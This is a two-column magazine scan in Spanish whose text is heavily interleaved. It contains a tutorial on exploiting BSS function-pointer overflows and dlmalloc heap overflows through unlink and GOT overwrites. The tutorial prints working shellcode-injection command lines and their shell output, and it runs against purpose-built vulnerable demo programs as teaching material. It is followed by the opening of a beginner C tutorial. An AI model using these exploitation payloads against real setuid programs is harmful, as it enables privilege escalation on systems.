Como puedes deducir, es un simple pro­ Breakpoint 1, main (argc=3, argv=0xbffff9a4) at bss2.c:19
dirección de memoria 19 if(argc<3){
grama que emula manejar una base de
que podemos modificar (gdb) p &nombre
datos de clientes. Pasando como pará­
a nuestro antojo, y el $1 = (char (*)[50]) 0x8049820
metros alta nombre_cliente daremos de
programa vulnerable va (gdb)
alta un cliente. Si pasamos baja nom­
a saltar a esa dirección Listado 3
bre_cliente daremos de baja el cliente.
de memoria, pondremos una shellcode
podríamos rellenar con el código de nues­
en una variable de entorno, obtendre­
Evidentemente, no he implementado el tra shellcode :-). En primer lugar, mete­
mos su dirección, y modificaremos el
programa entero, sino solamente un par remos la shellcode en el propio buffer,
puntero con ésta ;-) [Ojo que debere­
de cosas para que podamos ver cómo precedida de instrucciones NOP (byte
mos meterla en orden inverso, debido al
explotar este tipo de programas que 0x90). Por último, deberá incluirse, a par­
formato little-endian].
utilizan un puntero a una función, de­ tir de la posición 53 del buffer,
clarado justo después de un buffer pro­ tuxed@athenea:~/articulo2$ export SCODE=`cat scode`; la dirección de memoria del
penso a desbordamientos :-) Vamos a tuxed@athenea:~/articulo2$ ./envi SCODE
mismo buffer.
ver si funciona como debería: La variable SCODE está en la dirección 0xbffffb17
tuxed@athenea:~/articulo2$ ./BSS
Aunque este método requiere
tuxed@athenea:~/articulo2$ gcc bss2.c -o bss2 -g bss1 bss2
tuxed@athenea:~/articulo2$ ./bss2 alta `perl -e 'print "\x17\xfb\xff\xbf"x14'`
que el segmento Heap sea eje­
tuxed@athenea:~/articulo2$ ./bss2
Uso: ./bss2 <alta|baja> Nombre_cliente Puntero apunta a 0xbffffb17 cutable, es más común encon­
tuxed@athenea:~/articulo2$ ./bss2 alta pepito_la_flor sh-3.00$ trarse ante una pila no ejecu­
Puntero apunta a 0x8048424 table que ante un Heap no eje­
He dado de alta el cliente ;-)
Así pues, armados de los códigos del ar­
cutable, así que las probabilidades de que
tuxed@athenea:~/articulo2$ ./bss2 baja pepito_la_flor tículo anterior para localizar las varia­
funcione este método son mayores ;-)
Puntero apunta a 0x804843d bles de entorno (están disponibles en el
Cliente dado de baja :( foro de esta revista desde el día de Probemos de nuevo a explotar este bug,
tuxed@athenea:~/articulo2$
publicación del número 27) nos dispo­ usando esta segunda técnica :-). En pri­
nemos a atacar : mer lugar, averiguaremos la dirección
Aquí podemos ver que el programa fun­
de nuestro buffer mediante el gdb:(ver
ciona como deseamos. Ahora vamos a
listado 3)

38
fundizar más, se pueden leer los artícu­
tuxed@athenea:~/articulo2$ ./bss2 baja "`perl -e 'print "\x90"x14'``cat scode``perl -e 'print "\x20\x98\x04\x08"'`"
los de Phrack que pongo como referen­
Puntero apunta a 0x8049820
sh-3.00$ cias al final.

Listado 4 Dijimos al principio que cuando reserva­


mos memoria dinámica mediante malloc,
tuxed@athenea:~/articulo2$ ./bss2 baja "`cat scode``perl -e 'print "A"x14 ."\x20\x98\x04\x08"'`" ésta se reserva en el segmento llamado
Puntero apunta a 0x8049820 Heap. Además, comentamos que junto a
sh-3.00$
la memoria en sí, se incluía cierta
información de mantenimiento. En reali­
Listado 5
dad, malloc maneja unas estructuras de
Apuntamos la dirección, y procedemos a ro en un programa con suficientes privi­ datos llamadas chunk (de bloque, en in­
rellenar el buffer. Puesto que tenemos 52 legios, podremos alterar ficheros impor­ glés), con el siguiente aspecto:
bytes para shellcode y NOPs, vamos a tantes de nuestro sistema, para poner
contar los caracteres de nuestra shellco­ la información que creamos oportuna.
de, y rellenaremos el resto con NOPs. Siempre que podamos modificar punte­
Justo después incluiremos la dirección de ros a funciones, podremos ejecutar el
retorno, que es la que acabamos de obte­ código que queramos, siempre que lo
ner. Antes de verlo, hay que prestar tengamos convenientemente almacena­
atención a un pequeño detalle: La do y localizado.
dirección de la variable devuelta por el
gdb no tiene 4 bytes (8 caracteres). Para Llegados a este punto, ya hemos acaba­
que sean los 8 bytes, nos falta escribir un do con lo que tenía pensado contaros
0 a la izquierda del 8, pues sino nuestro acerca de la explotación de este tipo de
ataque no tendrá efecto. Ahora sí, vamos fallos mediante la alteración de varia­ El entero size guarda el tamaño del
a probarlo:(ver listado 4) bles importantes de los programas ata­ chunk actual. Además, debemos tener
cados. Sin embargo, recordarás que al en cuenta que, debido a la forma en
C o m o p u e d e s v e r, f u n c i o n a a l a principio hablé de la posibilidad de so­ que malloc reserva memoria (redon­
perfección. Además, podíamos haber brescribir información de mantenimien­ deando la cantidad de bytes hacia arri­
quitado los NOPs, pues en este caso la to almacenada por malloc() en el Heap. ba), los tres últimos bits de este entero
dirección de las variables no varía como En la siguiente sección vamos a hablar deberían ser siempre nulos. Sin embar­
las de la pila. En realidad sí puede va­ de ello ;-) go, lo que se hace es aprovechar estos
riar de un programa compilado en un tres últimos bits para otros usos. Así, el
sistema a otro, pero va a estar muy último bit del entero size (se le llama
cerca. Si estamos explotando un fallo PREV_INUSE) nos indica si el chunk an­
en local, en un sistema donde tenemos terior está siendo usado o no (ponién­
una cuenta shell, no hay problema para dolo a 1 o 0 respectivamente). El se­
adivinar la dirección exacta del buffer gundo bit menos significativo también
(es lo que hemos hecho) y usarlo para En esta última parte del artículo, vamos tiene un valor especial, pero nosotros
la shellcode sin poner ninguna a hablar sobre la implementación de la no vamos a prestarle atención. El terce­
instrucción NOP:(ver listado 5) memoria dinámica presente en el siste­ ro permanece sin usar.
ma operativo GNU/Linux, así como en el
Como puedes ver, ha funcionado perfec­ En cuanto al entero prev_size, tiene una
sistema GNU/Hurd. Se trata de la
tamente, aunque esta vez hemos relle­ doble función. Por una parte, cuando el
implementación de malloc() incluida en
nado el buffer, por detrás de la shellco­ chunk anterior está en uso, este entero
las librerías glibc, llamada Doug Lea's
de, con letras A. Sin embargo esto no se usa como parte de los datos (aho­
Malloc Implementation. A partir de aho­
es posible hacerlo en remoto. En tal ca­ rrando así 4 bytes :-) ). Cuando el
ra cualquier referencia a malloc() será
so, deberíamos averiguar la dirección de chunk anterior es liberado, en este cam­
exclusivamente sobre la implemen-
las variables a prueba y error, variando po queda reflejado su tamaño.
tación mencionada.
la dirección de una variable local aloja­ Para poder aprovecharnos de alguna
Como ya habrás adivinado, el puntero
da en el mismo segmento de datos, me­ manera del sistema utilizado por ma­
ptr de la imagen es el puntero devuelto
diante un offset (desplazamiento) hasta lloc() para ejecutar un código cualquie­
por malloc cuando reservamos memo­
acertar en la dirección de la variable re­ ra, primero deberemos entender cómo
ria. Así, si logramos desbordar el buffer
mota. funciona este sistema, para ver qué po­
reservado dinámicamente, estaremos
demos hacer con él. Sin embargo, no
sobrescribiendo la información interna
Los métodos explicados hasta ahora son voy a entrar en demasiados detalles,
del chunk siguiente.
prácticamente independientes de la pla­ puesto que la cosa se puede alargar y
taforma utilizada. Siempre que poda­ complicar demasiado si nos ponemos a Sin embargo, el esquema anterior sólo
mos sobrescribir algún nombre de fiche­ mirar el código fuente. Si se quiere pro­ es válido cuando el chunk actual está en

39
uso. Cuando liberemos nuestra memoria posible. Durante estas operaciones de mente una dirección de memoria y es­
(con free(ptr) ), el chunk cambiará ligera­ unión de dos chunks, se elimina el cribir en ella aquello que queramos,
mente, tomando la siguiente forma: chunk que se va a fusionar de la lista, simplemente cambiando los valores de
con lo que tenemos que realizar las si­ fd y bk.
guientes operaciones:
Así, imagina que queremos escribir cua­
1.- Almacenar en un puntero tem­ tro letras A en la dirección de memoria
poral la dirección de los chunks 0x01020304. Teniendo en cuenta lo que
anterior y siguiente. he explicado más arriba, lo que haría­
mos sería:
2.- Hacer que el puntero siguiente
del chunk anterior, apunte al si­
1.- Poner la dirección
guiente del actual.
0x01020304 – 12 en el puntero
3.- Lo mismo pero a la inversa. El fd del siguiente chunk
Como puedes ver, han aparecido dos
puntero anterior del chunk si­
punteros al principio de los viejos datos, 2.- Poner 0x41414141 (las 4 le­
guiente apunta al chunk anterior
sobrescribiendo sus 8 primeros bytes tras A) en el puntero bk.
al actual.
( 4 por cada puntero), y se mantienen
inalterados el resto de los datos.¿Y qué Ahora bien, para conseguir que haga
Estas operaciones son efectuadas por la
son esos dos punteros? Cuando libera­ eso, hay que tener en cuenta que el bit
macro unlink(), definida como sigue:
mos un chunk, malloc lo añade en una PREV_INUSE (último bit del campo size)
lista doblemente enlazada, donde man­ del chunk sobrescrito deberá ser cero
tiene todos sus chunks libres. #define unlink(P, BK, FD) (usaremos aquí y en prev_size el valor
{ 0xfffffffc, que es -4 y funciona a la
Y... ¿Qué es una lista doblemente enlaza­ BK = P->bk; perfección). Así, una vez se libere la
da? Una lista enlazada es una estructura FD = P->fd; memoria, se realizarán los procesos de
FD->bk = BK;
dinámica de datos, que mantiene una escritura que dije antes.
BK->fd = FD;
colección de estructuras, cada una con un
}
puntero a la siguiente. Así, podemos re­ Todo esto es muy bonito y tal, pero,
correr la lista desde su primer nodo hasta ¿qué podemos hacer para sacar prove­
Teniendo en cuenta que cuando se lla­
el final, gracias a ese puntero. cho? Pues de momento podemos alterar
ma a unlink(), P es un puntero al chunk
direcciones de memoria, que no es poco
Siguiendo un razonamiento lógico, una siguiente, y BK y FD son punteros tem­
;-) Con la capacidad de alterar direccio­
lista doblemente enlazada será una lista porales, y que además, el miembro fd
nes de memoria, podemos hacer lo si­
enlazada, pero con punteros hacia de­ de la estructura está 8 bytes más hacia
guiente:
lante y hacia detrás. Así, podremos re­ adelante de su inicio (el tamaño de dos
correr la lista en ambas direcciones. La enteros: prev_size y size) y el miembro
bk 12 bytes, tenemos que se realiza la Meter una shellcode en el bu­
siguiente imagen representa una lista
siguiente operación: ffer
doblemente enlazada:
sobrescribir fd con la dirección
1.- En la dirección apuntada por el de un puntero a función, una
miembro FD de P, más 12 bytes dirección de retorno almacenada,
(bk de esa estructura) se escribe el etc. [dir_ret] menos 12 bytes
contenido del puntero BK. (debido a lo que ya se ha mencio­
2.- En la dirección apuntada por nado anteriormente).
BK, más 8 bytes (fd de esa estruc­
sobrescribir bk con la dirección
Espero que se haya comprendido bien el tura) se escribe el puntero FD.
del buffer. [dir_buff]
concepto de las listas doblemente enla­
Como ves, hay un movimiento de pun­ Asegurarnos de que el bit
zadas con este dibujito;-) En este ar­
teros y un par de escrituras de memo­ PREV_INUSE es cero.
tículo no se pretende que se sepa pro­
gramar utilizando listas de este tipo, ria. Además, si nos encontramos ante
simplemente aprovecharnos de unas un buffer overflow en variables dinámi­ Así, tras la liberación de la memoria
operaciones que se hacen en ellas, así cas, sabemos que tenemos la posibili­ usada por el buffer, tendremos que en
que volvamos a lo nuestro. dad de controlar lo que se escribe en el algún lugar donde nuestro programa al­
chunk siguiente al nuestro, con lo que macena una dirección a la que va a sal­
Cuando hacemos el free(ptr), malloc lo podemos controlar los punteros fd y bk. tar más adelante [dir_ret] se almacena­
que hace es incluir nuestro chunk en la rá la dirección de nuestra shellcode, y
lista enlazada, y ver si puede unirlo con Puesto que estos punteros influyen en cuando el programa vaya a ejecutar di­
alguno de los chunks contiguos, para las escrituras de memoria realizadas por cha instrucción, habremos logrado eje­
tener así un chunk del máximo tamaño la macro unlink(), podemos elegir libre­ cutar nuestro código.

40
Parece que sí que hace lo que debería,
p e r o c o m o ve m o s , n o h ay n i n g u n a
protección contra desbordamientos al
Imagen 1 rellenar el buffer cad1, así que podemos
atacar por ahí. Pero según hemos visto
antes, primero debemos obtener la
Imagen 2 dirección de la función free(), y la
Sin embargo, hemos obviado la segun­ Para localizar la función free en la GOT dirección del propio buffer cad1. Pués
da de las operaciones realizada por un­ del programa ejemplo2.c visto al princi­ vamos allá:
link(). Si recuerdas, en la dirección de pio, haremos lo siguiente:
bk más ocho bytes se almacena el con­ tuxed@athenea:~/articulo2$ objdump -R Heap1 | grep free
tenido del puntero bk. En nuestro caso, tuxed@athenea:~/articulo2$ objdump -R ejemplo2 | grep free 080497dc R_386_JUMP_SLOT free
eso será a partir del octavo byte de 08049778 R_386_JUMP_SLOT free
tuxed@athenea:~/articulo2$
nuestra shellcode, con lo que ésta que­ Le restamos 12 y nos queda
daría inútil. Así pues, lo que tenemos 0x080497d0.
Así, ya tendremos la dirección de me­
que hacer es que al principio del buffer
moria a sobrescribir, solamente nos
haya una instrucción que le diga que Ahora vamos a obtener la dirección del
quedaría encontrar la dirección del bu­
salte a la posición 12 (la posición 8, buffer pero esta vez no lo haremos con
ffer, y rellenarlo convenientemente.
más los 4 bytes del puntero escrito), y gdb, sino con la herramienta ltrace. Así,
poner a partir de allí nuestra shellcode. ejecutamos el siguiente comando:
Vamos a ver todo esto que hemos expli­
Por tanto, el buffer quedaría algo así: cado de manera práctica mediante el si­ tuxed@athenea:~/Articulos HxC/art2$
(ver imagen 1) guiente programa: ltrace ./Heap1 aaa bbb 2>&1 | grep malloc
malloc(200) = 0x804a008
malloc(40) = 0x804a0d8
Pero es que además, hay que tener en Código heap1.c:
tuxed@athenea:~/Articulos HxC/art2$
cuenta que probablemente al liberar el
#include <stdio.h>
espacio del primer buffer, los 8 primeros Como vemos, el buffer se encuentra en
bytes de éste serán sustituidos por los int main(int argc, char *argv[]){ la dirección 0x0804a008, y sumándole
campos fd y bk correspondientes. Así, se char *cad1,*cad2,*cad3;
los 8 bytes, queda 0x0804a010 (8 +8 =
destruiría la instrucción de salto de 10 16 bytes, 10 en hexadecimal).
if (argc<3){
bytes, con lo que no funcionaría. Por tan­
printf("Uso: %s destino mensaje\n", argv[0]);
to, nos quedará añadir 8 bytes más de exit(-1); Provistos con estos datos, debemos
basura al principio, y sumarle 8 al campo } preparar nuestro buffer tal y como he­
dir_buff, quedando el buffer definitivo así: mos indicado antes. Sin embargo, aún
(ver imagen 2) cad1=(char *)malloc(200);
cad2=(char *)malloc(40);
no sabemos como hacer el salto incon­
dicional que debe ir al principio de
Sin embargo, nos queda encontrar lo que strncpy(cad2,argv[1],39); nuestro buffer. Puesto que no entra en
aquí hemos llamado dir_ret. Se trata de cad2[39]='\0'; los objetivos del artículo cómo averi­
encontrar la dirección de alguna de las guarlo, os lo digo yo ;-) El código de
funciones del programa. Para ello, tene­ strcpy(cad1, argv[2]);
operación de un salto de 10 caracteres
mos varias posibilidades. Si en nuestro es: \xeb\x0a.
/*Aquí mandaríamos el mensaje */
programa vulnerable hay algún puntero a printf("El mail fue mandado a %s :-)\n", cad2);
función de los mencionados en la parte Además, nos falta saber cuánto espacio
anterior del artículo, éste será un candi­ free(cad1);
disponemos antes del comienzo del
dato evidente para nuestro ataque. free(cad2);
}
chunk siguiente, puesto que debemos
poner a partir de allí los nuevos datos:
Además de éstos, otra opción es modifi­
Supuestamente, este programa lo que prev_size, size, fd y bk. Debemos tener
car una sección de los programas de la
hace es mandar un mensaje (pasado en cuenta para ello que malloc() suma
que todavía no hemos hablado. Se trata
como segundo argumento) al destino 4 bytes a esa cantidad ( el tamaño total
d e l a s e c c i ó n l l a m a d a G OT ( G l o b a l
pasado como primer argumento. sería de 8 más la cantidad de datos, sin
Offset Table). En esta sección, lo que
Veamos su funcionamiento: embargo, ya que utilizamos como datos
hay es una tabla con direcciones de me­
el campo prev_size del chunk siguiente,
moria de las funciones que utiliza el
tuxed@athenea:~/articulo2$ gcc Heap1.c -o Heap1 solamente sumamos 4). Seguidamente,
programa. Podemos localizar mediante tuxed@athenea:~/articulo2$ ./Heap1 lo que se hace es redondear hacia arri­
la utilidad objdump la dirección de la Uso: ./Heap1 destino mensaje ba al múltiplo de 8 bytes más próximo.
función free() en nuestro programa vul­ tuxed@athenea:~/articulo2$ ./Heap1 pepito@jotmeil.com lalla
nerable, y mediante la técnica expuesta El mail fue mandado a pepito@jotmeil.com :-)
:~/articulo2$ Así, si por ejemplo ponemos malloc(16),
cambiar dicha dirección por la de nues­
tendremos que después de sumarle los
tro buffer.
4 bytes, quedan 20 bytes. Al redondear

41
shell de root :-) Debes tener en cuenta
que las letras A en la línea de comando
Imagen 3 anterior son 8, y la cadena
SALUDOSHxC tiene 10 caracteres, que
al siguiente múltiplo de 8, quedarían 24 Vamos a probarlo (ten en cuenta que es justo la cantidad de relleno que
bytes. Si reservamos para un buffer de tanto direcciones de memoria como da­ habíamos dicho que teníamos que pon­
200 bytes, se redondeará al múltiplo de tos deben ir en formato little-endian): er.
8 más próximo a 204, quedando pues Hasta aquí llega este segundo artículo
un chunk de 208 bytes. tuxed@athenea:~/Articulos HxC/art2$ sobre explotación de vulnerabilidades.
./Heap1 tuxed@devnull AAAAAAAA`printf Nos vemos en la próxima revista (si no
"\xeb\x0aSALUDOSHxC"``cat scode``perl -
Puesto que el chunk es de 208 bytes, pasa nada) con un artículo acerca de las
e 'print "B"x142 . "\xfc\xff\xff\xff"x2 .
tenemos que para datos hay 204 bytes cadenas de formato (format strings).
"\xd0\x97\x04\x08\x10\xa0\x04\x08"'`
( el chunk entero, menos los 8 bytes de Espero que os haya gustado y no haya
El mail fue mandado a tuxed@devnull :-)
sus campos prev_size y size, más el resultado demasiado dura la última
tuxed@athenea:~/Articulos HxC/art2$
tamaño del campo prev_size del chunk sección ;-) . Si tenéis alguna duda, no
siguiente). Sin embargo, el campo Pues vaya, no ha funcionado. ¿Por qué? dudéis en pasaros por el foro a com­
prev_size del chunk siguiente también Pues ha fallado debido a que 0x0A es la partirla con nosotros.
debe ser sobrescrito, así que en total representación en código ASCII del
deberemos escribir 200 bytes antes del Eloi S.G. (a.k.a. TuXeD)
carácter NL (New Line). Por tanto, el
valor de prev_size deseado. programa ha interpretado nuestro buff­ A Bea y a mi familia, por aguantarme
er como dos parámetros distintos, y no
Ahora sí, ya sabemos todos los datos se ha desbordado. Para arreglarlo, ten­
necesarios, así que ya podemos atacar. emos que poner todo el buffer entre
Simplemente vamos a tener que poner Bibliografía:
comillas, y ya funcionará:
las cosas en orden, quedando el buffer
tuxed@athenea:~/Articulos HxC/art2$ Phrack 57-0x08:
así:(ver imagen 3)
. / H e a p 1 t u x e d @ d e v n u l l
Ahora bien, nos queda saber el tamaño " A A A A A A A A ` p r i n t f h t ­
de la basura. Teniendo en cuenta que "\xeb\x0aSALUDOSHxC"``cat scode``perl - tp://www.phrack.org/phrack/57/p57-
tienen que haber 200 bytes entre el sal­ e 'print "B"x142 . "\xfc\xff\xff\xff"x2 . 0x08
to condicional, el relleno de 10 bytes, la "\xd0\x97\x04\x08\x10\xa0\x04\x08"'`"
El mail fue mandado a З# :-) Phrack 57-0x09:
shellcode y la basura, con un poco de
sh-3.00$
matemáticas simples tenemos: h t ­
tp://www.phrack.org/phrack/57/p57-
200 bytes – 8 bytes - 2 bytes – 10 Como puedes ver, tenemos nuestra
0x09
bytes – 38 bytes = 142 bytes shell. Si el programa Heap1 tuviese el
bit SUID activo y fuera propiedad de w00w00 on heap overflows:
root, ahora tendríamos una graciosa

¿Tienes conocimientos
avanzados sobre Seguridad
Informática y/o programación?

¿Quieres dar a conocer


públicamente un Bug, la forma
de explotarlo y/o de defenderse?

empleo@editotrans.com
Hola amigos, algunos me conoceréis por los foros de HackxCrack. Otros hasta tendréis la suer­
te/desgracia de conocerme en persona. Soy Popolous y a través de una serie de artículos vamos
a ir descubriendo, paso a paso, el mundo del C, ese lenguaje desconocido.
Las razones para aprenderlo, son bastante evidentes. Es un lenguaje muy potente, para gente va­
liente y además nos servirá para poder entender mejor el curso que Tuxed está haciendo sobre
desbordamientos y demás "virguerías". No me enrollo más y pasaremos a la acción.

cuando empieza a leer un libro sobre C. Uno empieza a


leer y se da cuenta de que aparece la palabra ANSI, que
Debo confesar que no sé absolutamente nada de C. Y sí, parece ser, según dicen, que fue lo que estandarizó las
lo admito abiertamente y hasta me atrevo a mandarlo y distintas implementaciones de C que había en un principio.
publicarlo en una revista. ¿Por qué lo hago? Bueno, porque Esto, a mí que lo que quiero es programar, pues no me
no sé vosotros, pero a mí siempre que he leído algo, he sirvió de mucho que digamos. Primera decepción y primera
pensado: “Anda, que si al final del artículo supiese tanto tentación de usar el libro de calzador...
como el autor...”. Y bueno, hete aquí un buen motivo para
escribir sin saber nada de C: aprender yo y al final del Pero uno sigue leyendo y como todos los principios son
artículo, todos sabréis lo mismo que yo. arduos y duros, por la primera en la frente uno no se
achanta, así que uno lee cosas como estas:
Debo decir que como novato total y tras haberme costado
sangre, sudor y lágrimas, voy a usar Linux como soporte que C es un lenguaje que tiene gracia (hasta ahora
para los programas y el compilador gcc, así que no se cuando veo un código menos reírme me entran ganas
asuste nadie si no hay ventanitas de por medio. Si empe­ de todo)
zamos por lo oscuro, qué mejor que una línea de comandos,
que C es elegante (bueno, no lo he visto en la pasarela
¿no?.
Cibeles que digamos)
Pero para los que me quieran tachar de elitista, tengo que
decir que todos los programas han funcionado sin problemas que C es potente (ahh, por eso Fernando Alonso no
en Windows. El código es ANSI C estándar, es decir aceptado gana tantas carreras… el Schumacher ese lleva C.
por todos los compiladores decentes de C y además no ¡Eureka!... si de esta no salgo programador al menos
estoy usando ninguna librería que no venga en todos los sí asesor de moda y/o Fórmula 1)
compiladores. Así que todos los programas pueden editarse
¡Ah! Y C incluso es portable. Ahora sí que me ha
y compilarse en cualquiera de los dos entornos (tanto Linux
convencido: poder aprender C mientras estoy de cañas
como Windows).
con los amigos o tomando un café, eso es impagable.
Lo primero que me llamó la atención al aprender esto de Peeerooooo, vaya por Dios, resulta que portable quiere
C fue la cantidad de conceptos nuevos que lo asaltan a uno decir que el mismo código puede compilarse (pasarse

43
de lenguaje humano a lenguaje de clave, frente a cerca del centenar que
la computadora) en cualquier máqui­ tienen otros lenguajes. Todo un detalle,
na y/o Sistema Operativo con míni­ si tenemos en cuenta que mi memoria no
mos cambios ... es muy buena. Voy teniendo curiosidad
sobre eso que dicen que es potente, ágil Una vez que uno se adentra más en un
Bromas aparte, esto era un poco para y demás ... Mmm, esto requiere que abra­ lenguaje de programación, le asaltan
romper el hielo y perderle el miedo “ini­ mos un poquito más los ojos y sigamos conceptos como el de variable, que no
cial” a lo desconocido. leyendo el libro. No os vayáis, soy lento es más que un cajón donde guardar
leyendo pero no tanto :P. datos. Pero bien, resulta que como en
Cuando uno está aprendiendo C, apare­
la vida real, carpinteros hay muchos y
cen mil términos:
cada uno tiene su modo de trabajar, así
que si estructurado, imagino que que hay cajones de distintos tipos.
porque tiene estructura y usa varia­
Pero en C sólo hay 5 carpinteros básicos
bles locales (que luego podemos usar
y crearon 5 cajones (char, int, float,
para que exploten los programas,
Pues me está gustando esto de leer fíjate, double y void):
qué majas, qué locuacidad). Pero ojo,
porque resulta que C es para programado­
simplemente estructurado, no la char: aquí sólo podemos guardar
res, y eso pues alimenta mi ego, un poco
vayamos a complicar (es que no per­ “cosas” de tipo carácter (cualquiera
alicaído por la poca cantidad de conocimien­
mite definir funciones dentro de fun­ de los que aparecen en la tabla AS­
tos que uno atesora. Lo usan los progra­
ciones, qué le vamos a hacer, no lo CII). Por ejemplo: a; b; c; d; e; f;
madores y por tanto, esto nos está diciendo:
puede tener todo el chico). g...
“Oye, que vale la pena echarle horas”.
que si sus orígenes se deben al Menos mal, porque uno es muy selectivo
lenguaje B, que seguro deriva a su en donde echa las horas :P. Nota
vez del A ya verás, espera que siga
Ya un poco para terminar con el rollazo En www.google.com puedes buscar tablas
leyendo. ¡Ah, no! Me he colado de
de la introducción y siguiendo con la ASCII para ver todos sus elementos. Por ejem­
listo, ¡ups!, deriva de BCPL (caray,
lectura, uno aprende por ejemplo, que plo en http://www.lookuptables.com/ y en
la pérdida de letras debió ser alguna http://www.abcdatos.com/utiles/ascii.html
C se pensó para que los programas que
devaluación importante, ni los len­ tienes unas muestras.
se escriben con él sean compilados en
guajes de programación sobreviven
vez de interpretados. Es decir, que se
a ellas)
genera un ejecutable (grosso modo) y
int: Aquí podemos guardar números
luego somos independientes de la fuente
que si empezó sobre Unix, que si enteros con y sin signo. Por ejemplo:
(texto plano donde está el código inteli­
unos tales Dennis Ritchie, Brian Ker­ 1; -1; 2; -2; 18000; -18000; 5668;
gible por un humano). Si fuese interpre­
nigham y Martin Richards, que si -42...
tado, pues habría que tener siempre el
bostezo porque esto parece una clase
fuente y es más lento. O sea que la float: en este cajón podemos guar­
de historia, esperad que ahora voy
rapidez está también con nosotros. Bien, dar números con decimales en for­
por un café...
sigue sumando puntos. mato de coma flotante tanto positivos
Además, uno creyendo toda la vida que como negativos, por ejemplo: 1,25;
Y las bibliotecas. No, no os vayáis asus­
hay lenguajes de alto nivel y de bajo -1,25; 2584,9845
tados, no se trata de esos sitios que de
nivel, resulta que este, para variar, es
estudiantes nos servían sólo para eva­ double: La única diferencia con el
de nivel medio. Me lo explique. Y la
dirnos en días de frío y cuando el bar anterior (float) es el tamaño del
respuesta no podía ser menos, llega unas
más cercano estaba hasta arriba de gente cajón para guardar dichos números,
pocas líneas más abajo: combina ele­
que era más rápida que nosotros. No. el cajón double es mas grande.
mentos de lenguajes de alto nivel con
Se trata de que en C no hay que currár­
lenguajes de ensamblador. Vamos, de
selo todo (me sigue gustando, menos void: Este es un cajón “especial”
cajón de madera de pino gallego. Y uno
trabajo), sino que hay una serie de fun­ y quasi-extravagante, porque sirve
puede leer que C es poco tipificado
ciones ya escritas y que nos sirven para para otras cosas. De momento no lo
(no, no busquéis en el Código Penal si
por ejemplo interactuar con la E/S (por abriremos ;-).
es delito, que no lo encontraréis), lo cual
ejemplo hacer que salga por pantalla un
significa que admite una cierta flexibilidad
mensaje o enviar a imprimir “algo” a la En el primer tipo de datos (char) tam­
a la hora de definir y/o manejar distintos
impresora). ¡Fiu! ¿Os imagináis lo que bién, como veremos a lo largo del curso,
tipos de datos. Y que además no es muy
sería tener que escribir esto nosotros podemos guardar valores enteros entre
quisquilloso a la hora de realizar opera­
mismos? Por Dios, que estamos apren­ 0 y 255. Pero tranquilos que esto ser
ciones con distintos tipos de datos. Va­
diendo... Gracias a toda esa gente por verá más adelante..
mos, todo un diplomático.
ese trabajo que nos han ahorrado. Ahora
Y además algo que ya llama poderosa­ no tenemos que reinventar la rueda, sólo Bien, y dentro de estos “cajones” tene­
mente la atención: sólo tiene 32 palabras u s a r l a . E s t o m e s i g u e g u s t a n d o. mos distintos modelos o estilos (llamado

44
en C modificadores). Para ello sólo el tipo char también lo podemos usar Windows el bloc de notas o similar (cui­
deberemos pedir el cajón correspondiente para almacenar enteros en un rango dadín porque tiene que guardarse como
anteponiendo el modificador: limitado (cómo mucho hasta 256). texto plano, que luego los caracteres no
imprimibles dan más de un susto ;-)) y
El segundo (unsigned) es para discrimi­ escribid el siguiente código:(ver listado
signed
nar un poquito más y para que sólo 1)
unsigned almacenen números positivos.
Bien, tras el subidón de adrenalina que
long El tercer y cuarto controlan el tamaño experimenté al escribir este código en
de los cajones: grande en el primer caso C, todavía me quedaba lo mejor: compi­
short (long) y pequeño en el segundo (short). larlo y ejecutarlo. Así que, bueno, tras
leerme el man (que no la revista man
Cuidadín con cómo escribimos las cosas, Los modificadores/indicadores de signo
:P) de gcc y preguntar a un buen amigo
que C es muy sensible y distingue entre (signed y unsigned) no pueden usarse
si estaba yo en lo cierto o no, compilé:
signed y SiGnEd, por ejemplo. conjuntamente, como es algo obvio, pero
sí combinados con los de tamaño (long popolous@Ulises Programas C $ gcc
Cada uno de estos estilos, dota a nues­ y short). primero.c -o primero
tros cajones de diversas características.
Estas características nos permiten hacer Hablando del tamaño de las cosas ... primero.c: En la función `main':
más selectivos y específicos nuestros ¿Cuantos bytes ocupará cada uno de los
cajones, aunque en otros casos, no apor­ tipos anteriores?. Mmm, uno es curioso primero.c:12: aviso: el tipo de
tará nada nuevo al cajón, así que el y dicen los manuales que hay que ase­ devolución de `main' no es `int'
carpintero correspondiente de C nos gurarse en cada compilador para hacer
el código lo más portable posible... Bien, Para los usuarios de Windows que utilicéis
mirará así con cara medio extraña, aun­
pues entonces, veamos en nuestro caso algún compilador en modo gráfico no es
que cumplirá con nuestro encargo, que
cómo son los distintos tipos de datos y más que irse al menú correspondiente
para eso le pagamos xD.
cuánto ocupan, así vemos ya un progra­ y darle a “Compilar” o “Compile”,
Vamos al grano, el primero de ellos mita en C, que no será el típico “Hola según el idioma con el que os habéis con
(signed) lo que hace es obligar a que mundo” y que tiene algo más de utilidad. el compilador que uséis. Si no, mirad en
nuestros cajones almacenen tanto No es un clásico, pero a veces uno tiene la ayuda de vuestro compilador en modo
números positivos como negativos, que que sacrificar lo clásico por lo práctico. texto y ahí os aparecerá cómo compilar.
en el caso de los números son sólo Si todavía tenéis alguna duda, pasaos
números positivos y en el caso de los De paso vemos un programa en C. Abrid por el foro (que no por el forro :P) y os
caracteres... pues bueno, sobre esto vuestro editor favorito (en mi caso vim, ayudaremos gustosos ;-).
volvemos luego, pero quedaros con que nano o gvim, no soy delicado :P), en

/* Programa en C que muestra por pantalla el tamaño en bytes de los distintos tipos de datos */

// Primero importamos la librería estándar de C para poder mostrar datos por pantalla

#include <stdio.h>

// Empezamos a escribir el programa principal, que empieza en la función // main

// Usamos la función printf y el operador unario sizeof()

void main(void)

printf("El tamaño en memoria del tipo char es %o byte\n", sizeof(char));

printf("El tamaño en memoria del tipo int es %o bytes\n", sizeof(int));

printf("El tamaño en memoria del tipo int con modificador long es %o bytes\n", sizeof(short int));

printf("El tamaño en memoria del tipo int con modificador long es %o bytes\n", sizeof(long int));

printf("El tamaño en memoria del tipo float es %o bytes\n", sizeof(float));

printf("El tamaño en memoria del tipo double es %o bytes\n", sizeof (double));

printf("El tamaño en memoria del tipo double con modificador long es %o bytes\n", sizeof(long double));

Listado 1

45
Volveremos sobre valores/variables de
popolous@Ulises Programas C $ ./primero retorno más adelante.
El tamaño en memoria del tipo char es 1 byte
Bien, vamos avanzando bastante y hasta
El tamaño en memoria del tipo int es 4 bytes ahora no se ha complicado mucho la
cosa. Siguiendo con el ejemplo, vemos
El tamaño en memoria del tipo int con modificador long es 2 bytes
que detrás de nuestra función main hay
